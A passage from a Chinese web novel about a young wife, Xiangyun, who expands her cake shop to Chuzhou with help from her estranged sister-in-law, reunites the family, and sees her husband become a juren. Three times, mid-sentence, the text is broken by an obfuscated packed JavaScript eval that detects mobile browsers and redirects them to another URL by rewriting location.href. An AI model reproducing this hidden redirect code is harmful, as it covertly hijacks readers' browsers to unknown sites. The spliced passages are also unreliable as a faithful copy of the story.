姜三姐点了点头：“就像你今日做这些野果糕点一样。不过，单凭一个人的力气，做死了，都不会发财，你得动脑子才行。” “那你后来，是怎么做起来的？” 姜三姐道：“我花钱雇佣人啊，我先是跟菜场上所有卖鸡鸭的人说好，让他们常年供应我鸡毛鸭毛。然后，我又租了一间大房子，雇佣了几个人，让他们天天给我扎鸡毛掸子，我呢，就和胡彪一起，跑滁州城里的各个器物店，走大户人家的门路，让他们都买我们的鸡毛掸子。” 湘云嗯了一声：“就这样，你们的鸡毛掸子越来越好卖了？” “对，挣到钱以后，我们就拿钱去做别的生意，置办了几百亩田地，就这样，几年的时间，也算丰衣足食了。”姜三姐说得口有些干了，喝了口茶。 湘云把她的话从脑海中过了一遍，然后，她说：“看来，走门路才是其中的关键，对吗？” “是的，你很聪明。”姜三姐赞道。 湘云沉吟：“没错，我一人做糕，做死了，一天也就做那几笼，永远发不了财的，我得想法子，让别人帮我来做，然后我去走门路卖糕，才是正经。” “不错，那你再想想，你能跑什么门路？”姜三姐微笑着问。 湘云轻声道：“即便把板桥镇上所有大户人家的生意都做了，也发不了大财，若想发财，得走出板桥镇！” 话刚说完，她就从姜三姐眼里，看到了赞赏的神色。 30. 府试 回到店里，一连几天，湘云的脑海里，都在回荡着与三姑姐的对话。 很明显，三姑姐肯定了自己的话。 唯有走出板桥镇，自己的糕点，才能卖得更红火。 三姑姐是在滁州城里发家的，板桥镇离滁州城那么近，自己首先要盯住的目标，自然也是滁州城。 滁州城里的名门望族，可不是板桥镇上这些富户能比的。 可是，要在滁州城里开店铺，可不是一件容易的事情。 首先，滁州城里店铺的租金，一年起码要一百两银子以上。 另外，自己若与四郎去了滁州城，这个店铺的维持，也要找可靠的人手帮忙。 别看自己那两个妯娌平时对自己亲亲热热，也是一家人，可是，自己还真不放心把馅料的配方交给她们。 尤其是姜三嫂，那么精明的一个人。 那只有寄希望于自己的娘家人了。 不知道她大嫂会不会愿意搬到镇上来，帮她做糕。 思来想去，湘云觉得应该再等等。 家里去滁州开店的本钱不足，四郎乡试尚未结束，一时找不到合适的人手，这些问题都是要好好解决的。 人手方面的问题，还是要讨教下三姑姐。 主意已定，她就去厨房拎了一个菜篮子，去市场上买菜去了。 今天，是四郎府试归来的日子。 昨天已经考完，按照四郎的意思，是考完就立刻回来的。 湘云却说：“你考得那么辛苦，考完了，就多住一晚，第二日再从容回来，岂不是好？” 四郎点了点头，听从了她的建议。 今天这顿午饭，是要给四郎接风洗尘的。 四郎日日温书辛苦，二哥干活也甚是辛苦，她每一顿饭都不想马虎，尽量让这两人吃得好些。 但愿四郎这次考试。能像县试那样顺利。 而这些生意上的事情，在考试之前，她是绝不会去跟丈夫商量的。 府试之后，还有院试，大考在即，绝不能让丈夫分心分神。 中午饭，是一道红烧鲫鱼，一道肉沫茄子，一道韭菜炒鸡蛋，一个粉蒸肉，外加西红柿蛋汤。 这样的吃食，若是换了往日，只有年节的时候，才敢这样吃。 即便是在陆家村的娘家，也只是在逢集的日子里，饭桌上能有一个荤菜。 若是不做生意，生活怎么可能有这么大的变化。 湘云想，一定要将生意越做越大，才能越过越好。 “妹子！妹子！妹夫回来了！” 湘云急忙跑了出来，只见四郎笑嘻嘻的一脸淡定模样，她的心瞬间就放了下来。 “妹夫，这次考得如何？”陆二郎忙问。 四郎道：“感觉不难，做起来挺顺手，娘子，我饿了。” 湘云忙道：“饭菜都好了，我来端菜，你先做着喝口茶吧。” 四郎和陆二郎一起回到院子里，湘云就将饭桌开在院子里的老槐树底下。 看着满桌香气扑鼻的饭菜，四郎微笑道：“这几日，心心念念，都是娘子做的菜。” 湘云心里一暖。 她将一块粉蒸肉夹进四郎的碗里：“相公，今天是几号了？” “今天是二十五了。”四郎大口大口地吃着饭。 湘云嗯了一声，暗暗决定，到了下午，还是要到胡府去一趟，问问三姑姐，雇佣人手的时候，到底该注意些什么。 吃完饭，陆二郎就快手快脚底收拾碗筷。 湘云忙道：“二哥，你放下吧，我来！” 陆二郎道：“你们回房说会话去，等下前面店里就忙起来了。” 湘云待要再说话，四郎却在桌子底下偷偷捏了一把她的小手。 湘云白了他一眼，终于还是没有说话。 回到房里，关上门，四郎就迫不及待一把抱住了湘云。 “别——别啊——这可是大白天！”湘云急忙推开他。 “白天怎么了，在我们自己房里，又没人看见——娘子，你就不想我么？”四郎轻笑道。 “家里不是只有我们两个人，还有我二哥呢！”湘云嗔道。 四郎哈哈一笑：“你二哥刚才为啥抢着洗碗？不就是给我们机会，让我们亲热亲热的么！” 说完，他一把抱起湘云，扔到了床上。 湘云无奈，也只得从了他。 两人缠绵良久，四郎累极，方搂着湘云，消停了下来。 抚摸着他结实的胸膛，湘云轻声道：“你这几天，吃得可好？” 四郎笑道：“太素了，馋得慌。” “你身上不是带有足够的钱吗？不会买肉吃？”湘云惊问。 四郎伸手一摸：“这不是吃到了么！” 湘云这才回过神来，两口子顿时在床上闹成一团。 “对了娘子，我给你买了个东西呢。”四郎突然想起，就披衣起床，从包裹里取出一个巴掌大的盒子，打了开来。 湘云起身一看，却是一枚晶莹剔透的碧玉簪。 她心里欢喜，嘴上却嗔怪：“又乱花钱了！” 四郎笑道：“等日后我有了钱，再给你买好的！” 湘云点了点头：“这个，我已经很喜欢了。” 两口子又说了会话，湘云才穿戴整齐，往胡府去了。 到了胡府，姜三姐果然还是在家里喝茶看书。 这一次，湘云直截了当地问出了自己想问的问题：“胡太太，您说，我到底该找谁帮我做事呢？” 姜三姐拿茶杯的杯盖轻轻撇了撇茶叶上的浮沫，看了她一眼，微微笑了。 “说吧，你究竟有什么打算？”她问。 湘云缓缓道：“我想，到滁州城里开一家店铺。” 姜三姐嗯了一声：“去滁州城，是个好主意，可是，你有想过去了滁州城以后，究竟该怎么做这个生意吗？” 湘云道：“拎篮子去闹市叫卖，然后想办法让大户人家定我的糕点。” “跟你在板桥镇的卖法一样？” 湘云点了点头。 喝了一口茶，将茶杯放在茶几上，姜三姐笑道：“傻丫头，滁州城可不是板桥镇，你这样卖法，太慢了！” “那要怎么卖呢？胡太太，您就教教我呗。”湘云立刻问。 姜三姐笑道：“我的经验，是先找门路，走通某个大户人家的管家的门路。” 湘云听了，一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263854|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴奋，这不跟自己走表姨母的门路是一样的吗。 于是，她接过来说：“然后让这个管家向自己的主人推荐我的糕点，是吗？” 姜三姐摇了摇头：“不是，那样太慢了。” “啊？” 姜三姐接着道：“直接让这个管家引见那家的太太，让太太待客的时候，向其他名门望族的女眷推荐你的糕点。当然，要送这位太太礼物，直接送银两最为合适。” “大户人家的太太，还缺银两？”湘云忍不住问道。 姜三姐笑道：“这你就有所不知了吧！滁州城里多的事官宦世家，名门望族，可是，他们很多都是表面风光，实际上缺钱得很。” 她这一说，湘云立刻就明白过来了。 于是就说：“她们世代名门，可是，不见得代代子孙都能干，子孙败光了家业，却又要维持表面上的风光，所以，越是当家主母，越是缺钱。” “不错，你果然聪明，一点就透！”姜三姐笑道。 湘云笑道，那我到了滁州城，就好好寻访一下，到底城里有哪些名门望族，我就挑那些延续百年的，做官的人家。 姜三姐缓缓道：“不必，我这里有一张名单，是我昨儿没事，给你拟好了的。” 说完，她从贵妃榻的枕头下面，抽出一张宣纸，递给了湘云。 湘云接过来一看，只见上面用清丽的簪花小楷，密密麻麻地写着滁州城里各大名门望族的当家人名单。 每一个当家人后面，都附注了这家的家世背景，延续了多少代，祖上是何官职，现在家中有谁做官，是何官职等。还有一些是经商的富户，姜三姐也详细注明了，这些富户做的是什么生意，家底大概如何，等等。 湘云看得有些目瞪口呆。 她没有想到，姜三姐居然对滁州城里的大户人家了解得那么深。 而且，她居然如此细心地为自己写下了这份名单。 实在让她感动！ “胡太太——你，你为什么要这么帮我？”湘云呐呐地道。 姜三姐深深看了她一眼，眼神有些复杂：“我帮你，不是应该的么！” 难道她知道了什么！ 她知道了自己是她嫡亲的弟媳？ 不对啊！她怎么会知道呢？ 心里有无数的狐疑掠过，湘云面上却没有露出：“我并非你至亲好友，所以，有此一问吧。” 对于这句试探的话语，姜三姐没有任何反应，只是懒懒地道：“你我相交时日虽然不多，却是同道中人！我敬你一个妇道人家，却不肯每日呆在家里，却要出来与男子们一决高下，所以助你一臂之力！” 湘云听了，连连点头：“胡太太，承蒙你瞧得起，我必然不辜负你一番期望。” 姜三姐点了点头，突然问道：“上次听你说，你夫君去参加府试了，他考得怎样？” “考得还行，只不过，到底如何，还要放榜以后，才会知道。” 姜三姐嘴角泛起一丝微笑：“他一定行的！对了，明儿下午，我还是在家里喝茶看书，你再来陪陪我吧。” 湘云本想问她雇佣人手的事情，可是见她有些疲乏，又约她明日来，就点了点头：“那我明儿再来吧。” 31. 用人之道 第二天下午，湘云如约又去了胡府。 她刚坐下，姜三姐就指着茶几上的一碟糕点，对湘云笑道：“这碟糕点，就是滁州城里最有名的糕点铺制成的，你尝一尝，跟你做的糕点有何不同？” 湘云就拿起一块，放进嘴里咬了一口。 入口只觉得甜鲜厚重，不同于自己做的轻软香甜。看来，也是需要花费许多火候的。 “觉得如何？”姜三姐问。 “跟我的糕点，是两个路子。” 姜三姐笑道：“对，这糕点就好比山珍海味，你的糕点呢，就好比乡间小菜。真拿到滁州城里卖，生意不会差的。” “胡太太，那您说，我若是到滁州城里开了分店，我板桥镇上的这个店，到底该交给谁好呢？” 姜三姐看着她，目光闪烁：“你家里都有哪些人？你心里都是打算交给谁的？” 湘云想了想，决定说实话：“我婆家的几个妯娌，我实在不放心。” “是不放心过手的银钱吗？”姜三姐眯缝着眼睛问。 “不光是过手的银钱，还有糕点馅料的配方，这个才是最重要的。”湘云道。 姜三姐微微点头：“不错，银钱倒在其次，馅料的配方一旦被别有用心的人掌握了，对你可是致命的打击。” “所以，我很是发愁，如何既能让别人替我，又能保证这馅料的配方只归我所有。”湘云叹了口气。 姜三姐嗯了一声：“你说你婆家的几个妯娌靠不住，那你本打算找谁？” “我娘家嫂嫂，她知道馅料的配方，这配方本是我娘传下来的。”湘云道。 姜三姐叹息了一声：“我跟你说，这个世界上，一旦碰到钱的事，除了自己的父母骨肉，那谁都靠不住。就算是父母骨肉，也多有因此而离心的。所以，就算是你娘家嫂嫂，只要掌管了你的店铺，就有可能把它吞掉，你可明白？” “那——到底要怎么办呢？” “好办！”姜三姐一边说，一边玩弄着自己手指那通红的丹蔻：“找两个一贫如洗的人，两个一辈子都没有本钱开店，就可以了！” “一贫如洗？一辈子没有本钱开店？两个？”湘云重复着姜三姐的话。 “一贫如洗，饭都吃不饱的人，才会珍惜你给的做事机会，才会好好做事。两个一贫如洗的人，可以相互监督，不至于吞了你的银钱。他们原本一贫如洗，靠你给他们的工钱过活，那他们积攒个十年八年，也开不起店，那么，即便他们有你的配方，也没有用，只能死心塌地为你做事！” 湘云听了，不由得连连点头。 姜三姐又笑道：“其实，你不必非要等到去滁州城里开店了，才能将糕点卖到滁州城的大户人家。你现在就可以卖，滁州城离我们镇上只有短短二三十里路。你买一匹马，一辆车，让你哥哥每日往滁州城送货，就可以了。” “话虽如此，可是，现在还没有哪个滁州城的富户要我们家的糕点啊！”湘云觉得这是个好主意，不过，恐怕还得过一段日子才能行得通。 姜三姐笑道：“怎么会没有呢，今天就有一个！” “今天就有一个？”湘云不解地重复着她的话。 姜三姐转脸，对外面叫道：“小莲，去把陆姑娘送来的糕点拿一碟子过来！小红，去客房请王太太过来叙话。” 外间的两个丫头立刻答应了。 一时，一个丫头就端着一碟湘云送过来的糕点放在了茶几上。 湘云忍不住问：“王太太是谁？” “是个盐商太太，滁州城里可谓是最有钱的人家了。” 湘云心里一阵暗喜，知道这是姜三姐刻意为自己铺路之举，心里感激不已。 姜三姐又道：“这位王太太，与我素来交好，她吃了你的糕点，必然喜欢。我若让她帮你推荐给其他太太的话，她必然会全力推荐。” 湘云道：“这样一来，我不知会少走多少的弯路了。” 姜三姐微微一笑，并不答话。 “翠儿，我刚睡醒，你就叫我来了，是有什么事吗？”房门口的帘子一掀，走进来一个珠圆玉润浑身绫罗的妇人，珠光宝气的，看样子，就是有钱人家的太太。 这妇人不到三十岁的年纪，却叫姜三姐的小名翠儿，看样子两人交情非同一般。 姜三姐笑道：“我这里有好吃的糕点，请你品尝一下。” 说完，她就用手指了指茶几上的杨榴糕。 那王太太也不客气，直接坐了下来，拿起一块糕点就吃。 才吃了两口，她就夸赞道：“不错不错，这味道怪特别！” “比你日常吃的糕点如何？”姜三姐微笑问。 “不分上下！”王太太干脆地说。 姜三姐点了点头：“回头，我装几碟子给你带回滁州城，你跟你那帮朋友推荐一下，如何？” 王太太立刻会意：“我们家现在就每隔三日，定三百块！其他的，我回去之后问问她们！” 姜三姐笑道：“到时候给你送货上门？” 王太太点了点头：“好！” 湘云听了，不由得大喜过望，脸上却不露出，只静静地在一边听着。 回到家里，她就开始筹划着增添人手的事情。 四郎忙着备考院试，湘云不打算拿这些事情来烦他。 于是，她就到前头店铺里，跟他二哥商量这事。 他二哥正在店里和面。 湘云走了过去：“二哥，我问你个事？” “你说，我听！”她二哥头也不抬，使劲和着面。 “咱们陆家村，不，咱们家附近几个村，可有什么家里特别穷，饭都吃不上的人？” 陆二郎道：“这样的人多了去了，咱们村西头的王寡妇，还有南边塘埂边住的瘸腿大爷，不都是吃不上饭的么。” 湘云一听，就知道她二哥没听懂她的意思。 于是，她又缩小了问题的范围：“二哥，我是说，身强力壮的男人，家里很穷，没有田地，空有一身力气，脑子也不笨的，三十岁上下的男子。” 陆二郎想了想：“我们村丁大壮不就是么？二十五六了，守着二亩地，一个寡妇老娘，他倒是不笨，就是吃了上顿没下顿！” “对对，我问的就是这样的人！”湘云忙道：“那除了丁大壮，还有谁？” 陆二郎仔细想了想：“我们村是没有了，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276852|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过，乌山村的胡雄，算一个吧，他是光棍，下面还有两个幼弟要养活，家道也很是艰难。” 湘云嗯了一声：“哥，那你抽空回去一趟，帮我跟这两个人谈谈，我一个月给他们一两银子的工钱，让他们过来跟我干，问他们可愿意，成不？” 陆二郎立刻道：“当然可以，我明天就回家去找他们，正好，我也想家了，回家看看。” 湘云道：“我回头上街买些鱼肉糕点，你带回给爹娘。” 到了第二天下午，陆二郎回来了。 刚一进门，他就笑眯眯地说：“妹子，那两个人，都答应了，说是明儿就可以来上工。” 湘云心头一喜：“他们答应得那么快？” “那是自然，他们本来就穷得没饭吃，如今有个工做，高兴都来不及，怎会不答应？” 湘云沉吟道：“哥，一匹马，一辆马车，需要多少银子？” “好好的，你干嘛要买马车？”陆二郎不解地问。 “滁州城里有个大户人家，要我每隔两日，就送三百块糕点去。” 陆二郎便道：“一匹马最便宜的也要三十两银子，至于马车么，可以买一辆旧的，换上新帷幕就跟新的一样，大约十两银子就可以买到。” 湘云就起身，回到自己房里，取出了整整四十两银子给了陆二郎：“哥，你前头铺子里帮我买一下，我家里有新布，帷幕我可以自己缝制。” 陆二郎接了银子，就走了出去。 过了一会，他就做着一辆旧马车回来了。 湘云连夜缝制了帷幕，又让陆二郎熬夜赶制了三笼糕点。 到了第二天，湘云将滁州城里王家的地址给了陆二郎，让他拉着那三百块糕点去了。 呆在店里，湘云一边自己制作糕点，一边暗暗期待着。 她明白，这三百块糕点，一定会为自己开个好头，只要滁州城里的大户人家纷纷来定糕点，那么很快，自己就能挣到去滁州城里开店铺的银子。 不到一个时辰的功夫，陆二郎就回来了。 他笑道：“王家的门房对我很是和气，叫我以后一定记得每隔两日就送糕点来。” 说着，他又把一锭大约十两重的银子递给了湘云：“瞧，人家王太太吩咐了，先给十两银子，以后只管送，一月一结。” 湘云见了，不禁感叹，到底是滁州城里的富户，就是不一样。 这时，门外有人叫：“二郎，我们来了！” 湘云抬眼一看，正是她们村的丁大壮，和另外一个身强力壮的年轻男子，应该是胡雄无疑了。 陆二郎急忙招呼：“大壮，胡雄，快进来！” 湘云便微笑着迎了上来：“大壮哥，你还是那么精神。这位是胡大哥吧？两位请坐。” 丁大壮与胡雄便道：“我们早就听说湘云妹子在镇上开店，没想到今儿还能为妹子效力，妹子放心，我们一定好好干。” 四人坐在店里，欢声笑语聊了半天。 最终定好，由陆二郎主管送货，丁大壮和胡雄主管店里制作糕点一切事物。 看着门外夕阳一点点淡去，湘云突然意识到，明天，就是四郎府试放榜的日子了。 32. 端午 天气越来越炎热了。 院子里的槐花开了又谢，老槐树的枝叶越来越茂密了。 树荫下，四郎捧着书，在全神贯注地攻读着。 湘云端了一碟子糕点，来到四郎面前：“尝尝，这时新做的野葡萄糕。” 四郎却好像没听见一样，依然呆呆出神。 湘云见了，有些心疼地说：“你看你，都读得走火入魔了！” “娘子，再过几日，就是院试了，我能不紧张么！” “你府试的成绩这么好，考了第三名，院试一定能行的。” 四郎眉头紧皱：“正因为如此，这最后一关，我就不能掉以轻心了。” 湘云拿起一块糕点，塞进了丈夫嘴里：“再怎么样，也是要吃东西的。” 四郎嚼了几口：“味道越来越好了，是你做的，还是那丁大壮和胡雄做的？” “说出来，你都不敢相信，那胡雄居然那么聪明，一点就透！”湘云笑道。 “原来是胡雄做的，果然不错！” 湘云笑道：“这两人一心向学，又能吃苦，现在，店里做糕的事情，被他们包了，我二哥现在只管天天送货，我就只管照顾你们四人的饮食起居。” “咱们家现在真有那么多的货要送吗？”四郎这些日子一心读书，没有关注到家里的生意情况。 湘云笑道：“夫君，这板桥镇上所有的富户，几乎都订了咱们家的糕点。另外，镇上的其余住户也都知道了咱们家的糕点味道别致，都来买，我们家现在，一天起码能卖出五百块糕点了！” 四郎一惊：“一百五百块糕点，那一天就是一两银子的流水了！娘子，我们的生意，居然那么好了么？” 湘云拿起一块野葡萄糕，咬了一口：“四郎，一天一两银子的流水，你就满足了么？” “怎么，难道还有方法可以再多些生意？”四郎有些难以置信。 湘云道：“滁州城里的生意，我们已经慢慢打开了。” “滁州城？”四郎眉头一拧：“你怎么会把生意做到滁州城里去了？” “只是滁州城里的一些富户，我们还没有把店铺开到滁州城里去呢。”湘云淡淡地道。 四郎放下书本，深深看了湘云一眼：“娘子，滁州城里的富户，是你能够得着的？” “可我就是够着了啊！” “那你告诉我，你究竟是怎么够着这些人的？”四郎追问。 看着丈夫犀利的眼神，湘云第一次真正意识到，丈夫原来这么精明，绝不是书呆子。 于是，她慢吞吞地说：“四郎，你到底在怀疑什么？” 四郎哼了一声：“自从你几次三番问我三姐的事情的时候，我就察觉出你的不对！你说实话，你是不是找我三姐了？” 见湘云没有回答，四郎忍不住提高了声音：“你明知道家里都不肯认她，却还是以我的名义去找她，你简直——你心里还有我这个丈夫么？” 见他生了气，湘云微微皱眉：“我是做了你三姐的生意，可是，一直到现在，你三姐都不知道我是她嫡亲的弟媳妇！她只当我是个普通卖糕的。” 四郎哼了一声：“当你是普通卖糕的？那你怎么认识她的？你把你怎么跟她结交上的过程，说给我听！” 湘云就把她卖糕给姜三姐的过程，说与四郎听了。 听到最后，四郎眼睛微微眯缝了起来。 良久，他方叹了口气：“开始的时候，她肯定不知道你的身份。可是，我可以肯定，当她给你滁州城的富户名单的那一刻，她一定知道你是谁了！” 湘云点了点头：“我当时也觉得蹊跷，也曾怀疑过来。” “不用怀疑了，我可以肯定，她知道了你是谁！我三姐是何许人也！”四郎懒懒地道。 “对了，她还问起你的考试考得如何了。” 四郎听了，半天没有言语。 湘云见了，就轻声道：“四郎，至亲骨肉，哪有隔夜仇？她可是你亲姐姐啊！” “话虽如此，可是，娘毕竟还是没有开口说要她回家。”四郎迟疑道。 湘云道：“婆婆虽然没有开口说要她回家，可是毕竟已经接受了她的寿礼，就等一个台阶下了。” 四郎就问：“那你，打算怎么帮她们娘儿两去搭这个台阶？” “端午吧，我们四家，端午节中午不是各过各的么？到了晚上，才聚到一起，是不是？”湘云问道。 四郎点了点头：“所以，那你打算怎么办？” 湘云道：“你赶着马车，和我一道，亲自去胡府接姐姐姐夫，还有两个外甥来我们家里过节！” 四郎点了点头：“好吧，就按照你说的办！” 第三天，便是端午节。 四郎和湘云穿戴一新，拎着一食盒新做的糕点，赶着马车，去了胡府。 到了胡府大门前，湘云特意没有下车，而是让四郎先去门房那里说。 四郎来到门房前，对门房道：“烦请通报一下！” 门房看了他一眼，问道：“你是何人？” 四郎道：“我乃贵府主母亲弟，杏花村的姜四郎！” 门房一听，眼珠子差点瞪了出来：“等等，等等，您再说一遍，您是谁？” “我是你们太太的娘家弟弟，我叫姜瑞智，你进去通报一下！” 门房这才道：“好好，舅爷，你等着，我这就去通报我们家太太！” 门房进去以后，不消片刻功夫，姜三姐就从大门里急急走了出来。 一眼看见弟弟，她心神一颤，脚下差点没被门槛绊倒。 四郎眼疾手快，一把上前扶住了她：“三姐，小心！” 站定之后，姜三姐伸手摸了摸弟弟的脸，泪水忍不住涌上了眼眶：“几年不见，你长得这般高了，长成男子汉了！” 四郎的眼眶，也忍不住红了起来。 “走，进去说话，湘云呢，没跟你一起来吗？”姜三姐抹了一把眼泪，破涕为笑。 “姐，你怎么知道湘云？”四郎笑着问道。 姜三姐啐了一口：“我什么不知道？若不是我的弟媳，我会这样去帮她做生意？她是不是在马车上，叫她下来！” 马车里，湘云将这姐弟两的对话，听得清清楚楚。 于是，她立刻跳下了马车，上前喊了一声：“三姐！” 姜三姐一把拉住她的手，笑嘻嘻地道：“从你刚到镇上开糕点铺子起，我就知道你是我娘家人，只不过你不说，我也不好认你而已！” “三姐，你真聪明，你是怎么猜到的？”湘云实在好奇。 姜三姐笑道：“开始确实不知，可是后来你跟我讨论游侠小说，我就觉得不对，你这叫投其所好啊！” 说完，姑嫂二人相视而笑。 这时，门房叫道：“陆老板，你是来送货的吗？” 姜三姐道：“这是四舅奶奶，以后要改口了！” 门房顿时大惊。 姜三姐一手拉着一个：“走，进去见过你姐夫，还有外甥外甥女！” 三人来到正厅，只见一个身穿月白色绸衫的青年男子，笑吟吟地迎了出来：“四郎！好久不见了，这位就是四弟妹么？” 湘云飞快地打量了一眼这位三姑爷胡彪，只见他身长玉立，剑眉星目，气宇轩昂，哪里像个商家汉，分明就是战场上威风凛凛的大将军。这份英武帅气，也难怪三姑姐为了他不惜大闹婚礼！ 四郎叫了一声：“姐夫！” 湘云也跟着叫了一声。 胡彪哈哈大笑：“你三姐日盼夜盼，千盼万盼，总算是把娘家人给盼来啦！四郎，你来接我和你姐姐外甥去过端午，是奉了岳母之命么？” 四郎笑道：“虽不是母亲所命，却是母亲心头所想！” 湘云笑道：“三姐，三姐夫，如今万事俱备，只欠一个台阶给母亲下了，你们今日中午先去我家过节，等到了下午，四郎再去探婆婆口风，若松动了，晚上就一起去大哥家团聚！” 胡彪点了点头：“这个主意甚好，四郎，一切就交给你了——来人，叫金哥儿和玉姐儿出来，拜见四舅四舅母！” 一时，有老妈子带着一个四五岁的男孩和一个两三岁大的女孩，见过了四郎和湘云。 四郎便道：“时候不早，姐姐姐夫，咱们走吧！” 胡彪点了点头：“我已让人备好了马车，就跟在你们的马车的后面，一起走吧。” 说完，众人便一起起身，来到门外，登上了马车，一路来到了姜记糕点铺。 到了糕点铺子，因是端午，丁大壮与胡雄也各自回家过节了，糕点铺便关门歇业了一天。 众人从后院的后门，来到了湘云家的堂屋里。 这时候，姜三姐将随身携带的一个乌木匣子放在桌上，对湘云笑道：“你们成亲的时候，我也没有机会送上贺礼，这匣子里的东西，是姐姐给你的一点心意，你打开来看看吧。” 湘云便上前一步，打开了匣子。 只见匣子里，是两只赤金手镯，看起来分量就很沉，还有一个金项圈，一枚镶嵌了红宝石的金簪。 “三姐，这礼太重了，我实在是不敢收啊！”湘云忙道。 这礼物确实有点重，怕是最少要值得三百两银子。 姜三姐微笑道：“你一心帮我认祖归宗，让我娘和兄弟们重新接受我，这点礼物不算什么。” “姐姐，生意上，你也帮我不少啊！” 姜三姐道：“生意上的事，我不过给你出个主意，指点一二罢了，其余事情，还是要靠你自己，毕竟隔行如隔山，生意，终究都是靠自己做出来的。” 湘云点了点头：“既然如此， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276853|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那这礼物我就收下了！” “姐姐姐夫，湘云已经备好了菜，只等你们来了，好下锅做熟。”四郎道。 姜三姐道：“那我与湘云去厨房做饭，你们兄弟二人带着金哥玉姐在堂屋喝茶聊天吧。” 说完，姑嫂二人就去了厨房，一边拉着家常，一边烹炸煎煮。 到了中午，一桌丰盛的宴席摆上桌来，两家六口人，热热闹闹，又说有笑地吃了一顿饭。 饭毕，又喝茶叙了一会子的话。 四郎便道：“时候差不多了，三姐，姐夫，我先去大哥家，探探娘的意思，若是娘愿意了，晚上我们一起去大哥家过节去！” 胡彪笑道：“既然如此，那就有劳四弟你了！” 四郎便出门，一路往杏花村而去。 到了杏花村，四郎一进他大哥的家门，就看见他大嫂和三嫂在水井边洗菜。 见四郎来了，姜大嫂便道：“四弟，你来得正好，婆婆正在房里哭呢，你快进去劝劝。” “大嫂，好端端的，娘为什么哭？”四郎问道。 姜大嫂笑道：“一个上午还好好的，有说有笑地吃完了午饭。吃完饭后，你大哥跟她提了，说晚上你们三家，还有你大姐二姐四姐都来陪她过端午的时候，她就不自在了。回到房里，对着你三姐上次给她的寿礼，在那里抹眼泪呢。” 四郎一听，就明白了，娘，还是想三姐了。 于是，他走进娘的房里，只见娘红着眼眶，坐在床沿上发呆。 四郎便来到娘的床前，拉起他娘的手：“娘，您伤心什么呢？” “没什么，我只是想起你爹来了。”姜母淡淡地道。 “娘，我三姐她，今儿中午，在我家里过端午了！” 姜母一惊：“你三姐，她去你家过节了？” “我是她娘家兄弟，接她过节，那不是理所当然么！” 姜母沉默了片刻，方道：“你们也大了，姊妹们要走动，也不是娘能管得了的事，随你吧！” 四郎又道：“娘，三姐牵挂您，想您了，她想回来过节，成么？” 姜母嘴上不答，那眼泪却从眼眶里慢慢流了下来。 四郎见状，就摇了摇头他娘的手：“娘，人家公婆都不计较过去的事了，您可是她的亲娘啊！您忘了，以前三姐在家的时候，您最爱吃她给您做的糖水荷包蛋？” 听四郎这样说，姜母再也忍耐不住，呜呜地哭出声来。 四郎见状，知道母亲终于同意了自己的请求，于是笑道：“那我晚上，就把三姐全家带来了啊。” 到了晚上，姜母坐在堂屋的正中，看着姜三姐一家四口在自己面前跪拜，不由得眉开眼笑。 姜三姐起身，一头扑进母亲的怀里，哽咽着叫了几声娘。 姜母一把将女儿搂进怀里，又流下了眼泪。 姜大姐笑道：“别哭了别哭了，今日三妹一家归来，我们老姜家，终于是团圆啦！” 这时候，四郎又笑道：“娘，儿子再给您说一个好消息吧。” 姜母抬起头来：“你说！” “今儿下午，同窗给我带来的消息，儿子的府试成绩出来了。” “是吗？你考得如何，快说？” 此时，屋里所有人的目光，都聚集在了四郎身上。 四郎笑道：“儿子府试考了第一名，从此以后，就是秀才了！” 听了这话，屋子里响起了一阵欢呼声。 湘云也是一惊，她没想到，四郎居然这般沉得住气，下午知道了消息，忍到现在，连自己都没有告诉。 姜母笑得合不拢嘴：“老大，开席吧！” 四个月后，滁州城琅琊大街，姜计糕点铺开张，炮竹声噼里啪啦响个不停。 湘云把一个蒸笼往锅上放，却被陆二郎一把拦住：“妹子，你是有身子的人了，可不能干这个，闪了腰！” 湘云微笑道：“今日巧好是秋闱放榜的日子，四郎去看榜了，我这心里七上八下的，” “放心吧，妹夫一定能高中的。就算不中，咱们这店铺，给滁州城里那么多大户人家送货，不说日进斗金，日子也是过得体体面面，你愁什么呢？” “二哥，你有所不知，将来孩子要想有好的前程，他爹必须得自己有好前程，我不希望我儿子长大以后也是个卖糕点的！” 兄妹两人正说着话，就见门口突然涌进来一批人，纷纷嚷着：“姜举人在家么？我们来给举人老爷贺喜了！” 陆二郎一听此话，登时大喜，急忙抓住其中一个人问：“姜举人？他中了第几名？” 那人道：“姜瑞智，秋闱中了第四名举人！” 此言一出，湘云手中拿的一个碗，啪地打碎在地。 她急忙转头，看向门外，只见四郎一身蓝衣，正微笑着向自己走来。（全文完）